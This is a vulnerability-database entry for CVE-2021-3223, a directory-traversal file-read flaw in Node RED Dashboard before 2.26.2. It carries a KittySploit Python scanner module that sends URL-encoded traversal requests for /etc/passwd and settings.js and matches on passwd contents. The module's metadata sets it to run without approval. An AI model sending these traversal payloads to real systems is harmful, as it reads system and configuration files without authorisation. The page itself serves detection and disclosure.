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Node RED Dashboard <2.26.2 - Local File Inclusion Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Local file inclusion in Node RED Dashboard via ui_base/js/..%2f directory traversal.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""NodeRED-Dashboard before 2."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Node RED Dashboard <2.26.2 - Local File Inclusion Detection',
        'description': 'NodeRED-Dashboard before 2.26.2 is vulnerable to local file inclusion because it allows ui_base/js/..%2f directory traversal to read files.',
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': ['web', 'scanner', 'cve', 'cve2021', 'node-red-dashboard', 'lfi', 'nodered', 'node.js', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://github.com/node-red/node-red-dashboard/issues/669',
            'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3223',
            'https://github.com/node-red/node-red-dashboard/releases/tag/2.26.2',
            'https://nvd.nist.gov/vuln/detail/CVE-2021-3223',
            'https://github.com/ARPSyndicate/cvemon',
        ],
        'cve': 'CVE-2021-3223',
    }

    def run(self):
        for path in ('/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd', '/ui_base/js/..%2f..%2f..%2f..%2fsettings.js'):
            r = self.http_request(method="GET", path=path, allow_redirects=False)
            if not r or r.status_code != 200:
                continue
            body = r.text or ""
            server = r.headers.get("Server") or r.headers.get("server") or ""
            body_any = ('Node-RED web server is listening',)
            body_regexes = ('root:.*:0:0:',)
            if (any(m in body for m in body_any)) and (any(re.search(rx, body, 0) for rx in body_regexes)):
                self.set_info(
                    severity='high',
                    reason="Node RED Dashboard <2.26.2 - Local File Inclusion detected",
                    path=path,
                )
                return True
        return False

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28 Jul 2026 11:27Current
7.6High risk
Vulners AI Score7.6
CVSS 25
CVSS 3.17.5
EPSS0.1885
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